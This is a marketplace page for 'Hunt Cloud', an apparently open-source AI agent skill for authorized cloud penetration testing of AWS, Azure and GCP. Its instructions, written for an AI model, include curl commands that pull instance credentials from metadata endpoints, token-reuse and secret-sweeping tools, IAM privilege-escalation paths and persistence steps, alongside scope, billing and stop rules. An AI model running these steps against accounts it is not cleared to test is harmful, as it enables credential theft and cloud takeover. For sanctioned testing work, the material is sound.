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Hunt Cloud

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Encod3d-Sec
hunt-cloud

Cloud attack hunting for AWS / Azure / GCP - credential discovery, metadata SSRF, IAM privesc, service enumeration, persistence. Scope + billing aware. Wiki-first, FIND schema output.

Overview

PublisherEncod3d-Sec
RepositoryTORCH
Skill namehunt-cloud
Stars
334
Forks
48
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by Encod3d-Sec on GitHub. Read the source before you install it.

Installation

Install the Hunt Cloud AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-cloud
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git /tmp/TORCH
mkdir -p .claude/skills
cp -r /tmp/TORCH/skills/hunt/hunt-cloud .claude/skills/hunt-cloud
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Cloud in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Cloud on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Cloud is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Hunt: Cloud (AWS / Azure / GCP)

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "cloud AWS Azure GCP metadata SSRF IAM privilege escalation credential discovery persistence" via wiki-search MCP

Hub: [[cloud-moc]] (live index). Primary page: [[cloud-iam-attacks]]. Payload arsenal: wiki/payloads/imds-cloud-metadata.md. Anchors: [[aws-metadata-ssrf]] (SSRF -> IMDS creds), [[azure-ad-iam]].

Billing and safety (cloud-specific)

hunt-core owns the scope gate. Cloud stacks three specifics on top of it:

  • Scope is account / subscription / project IDs, not just hostnames. Confirm the ID is in scope before the first authenticated call.
  • Every call is billed and logged (CloudTrail / Azure Activity / GCP Audit Logs). Enumeration is loud, costs the client, and mass API calls trip provider abuse detection (GuardDuty / Defender). Prefer read-only enumeration, keep call volume low, and create or delete NOTHING without RoE sign-off.
  • Never spray IAM users (lockout + GuardDuty). Reuse keys from loot.md first.

Attack surface (ranked)

  1. Metadata SSRF - an app-side SSRF reaching 169.254.169.254 / metadata.google.internal hands you instance/managed-identity creds. Highest-value chain.
  2. Exposed keys - .env, ~/.aws/credentials, CI/CD vars, JS bundles, git history: AKIA*/ASIA* (AWS), AccountKey= (Azure), "type":"service_account" JSON (GCP).
  3. Over-privileged roles - creds in hand whose IAM grants a privesc primitive (step 4).
  4. Public storage - S3 *.s3.amazonaws.com, Azure *.blob.core.windows.net, GCS storage.googleapis.com/<bucket>. Ranked last: frequently non-sensitive, easy to over-claim.

Chaining: SSRF that reaches the metadata endpoint -> pull IMDS creds; this is a hand-off from / to hunt-ssrf (that skill owns reaching the endpoint, this one owns what the creds unlock). A leaked key -> IAM enumeration -> privesc chain (step 4).

Evasion: AWS IMDSv2 needs a session token first (PUT /latest/api/token with X-aws-ec2-metadata-token-ttl-seconds, then X-aws-ec2-metadata-token on the GET) - an SSRF that cannot set headers only reaches IMDSv1. Enumeration is logged: prefer a compromised in-account principal over external calls, and read-only actions over anything that writes an audit event you cannot explain.

Tooling-first: install the CLI, do NOT hand-roll REST (Azure especially)

The provider CLIs and roadrecon do enumeration + attack in one authenticated call - install them FIRST; hand-rolled curl/urllib against Graph/ARM is the drift to avoid (weaker, no paging, easy to misquote). Reach for a script only for the rare thing the CLI can't express.

  • Azure creds in hand? az login -u <upn> -p <pass> (ROPC; works on Managed tenants when the CLI client isn't MFA-gated). Then az account show, az account list, az resource list -o table, az vm list -d -o table, az role assignment list --all. Entra dump = roadrecon (roadrecon auth -r <refresh-token> reuses a token cross-client via FOCI, no password quoting; then roadrecon dump). AzureHound for attack paths; MicroBurst Get-AzPasswords (pwsh) to sweep KV/automation/storage secrets.
  • az cli on Kali gotcha: the deb repo rejects Kali's dist codename ("Unable to find a package for your system"). Install with curl -sL https://aka.ms/InstallAzureCLIDeb | DIST_CODE=bookworm bash, or just run az on the target Ubuntu VM where it installs cleanly.
  • Compromised an Azure compute resource (VM/App Service/Container)? Don't parse IMDS JSON by hand - az login --identity authenticates AS that resource's managed identity straight from IMDS; then use az normally. az account show confirms user.type=servicePrincipal / systemAssignedIdentity.

Methodology

  1. Identify + whoami:
bash
aws sts get-caller-identity
az account show;  az ad signed-in-user show
gcloud auth list;  gcloud config list
  1. Metadata SSRF (if app-side SSRF):
bash
# AWS IMDSv1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# Azure (Metadata:true header)
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP (Metadata-Flavor: Google)
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
  1. Enumerate permissions (read-only IAM discovery of the account you already hold - legitimate per hunt-core, but each of these fans out into many billed, logged API calls, so scope tightly and do not loop them):
bash
aws iam get-account-authorization-details;  enumerate-iam --access-key ... --secret-key ...   # or pacu
az role assignment list --assignee <id>;  ScoutSuite azure
gcloud projects get-iam-policy <proj>;  curl https://... (roadtools / ROADrecon for Entra)
  1. IAM privesc: AWS (iam:PassRole+lambda/ec2, sts:AssumeRole, policy version, iam:CreateAccessKey); Azure (Owner/Contributor on subscription, Microsoft.Authorization/*, managed identity abuse, Automation runbooks); GCP (iam.serviceAccounts.actAs, setIamPolicy, deployment manager, actAs chains).
  2. Service loot: S3/blob/GCS objects, Secrets Manager / Key Vault / Secret Manager, SSM parameters, Lambda/Function env, snapshots, EBS, Storage Account keys. Azure: even plain Reader reads a VM extension's public settings - az vm extension show ... -n CustomScriptExtension leaks commandToExecute/fileUris (secrets, SAS URLs), no Contributor/RunCommand needed (see [[azure-services-virtual-machine]]).
  3. Lateral / persistence (RoE-gated): assume cross-account role, new access key, SSH key to instance metadata, service-account key creation, Automation account runbook.
  4. Distill (when confirmed): stage a GENERIC technique (no client host) to the most relevant cloud page: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/cloud/cloud-iam-attacks.md. Full protocol in hunt-core.

Confirmation gate

NOT confirmation: an enumerated bucket / blob / GCS name; a role ARN or service-account email you listed but never assumed; a metadata endpoint that merely responds; AKIA* / AccountKey= / service-account JSON found but never exercised; a 200 from a permissions enumerator that only reads policy, not access.

IS confirmation: credentials actually retrieved AND validated with a SINGLE benign read-only call that names the principal (aws sts get-caller-identity, az account show, gcloud auth list), or a resource actually read cross-account / cross-tenant - reproduced in a clean session. One benign call proves control: stop there. Do NOT spin up resources or mass-enumerate to "prove more" - that only adds billing, audit noise, and abuse-detection risk without changing the finding.

Severity

CRITICAL = creds to admin/owner, cross-account/tenant takeover, metadata role creds. HIGH = sensitive data read (secrets/buckets), IAM privesc path. MEDIUM = enumeration / public bucket with non-sensitive data.

Context tools

  • [[aws]]

Frequently asked questions

What does the Hunt Cloud AI skill do?

Cloud attack hunting for AWS / Azure / GCP - credential discovery, metadata SSRF, IAM privesc, service enumeration, persistence. Scope + billing aware. Wiki-first, FIND schema output.

Why use Hunt Cloud on TypingMind?

Because you install it once and use it with any model. Hunt Cloud is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Cloud in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-cloud. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Cloud?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Cloud?

As many as you like. As long as a model supports skills, you can use Hunt Cloud with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Cloud AI skill free?

Yes. It is published on GitHub by Encod3d-Sec under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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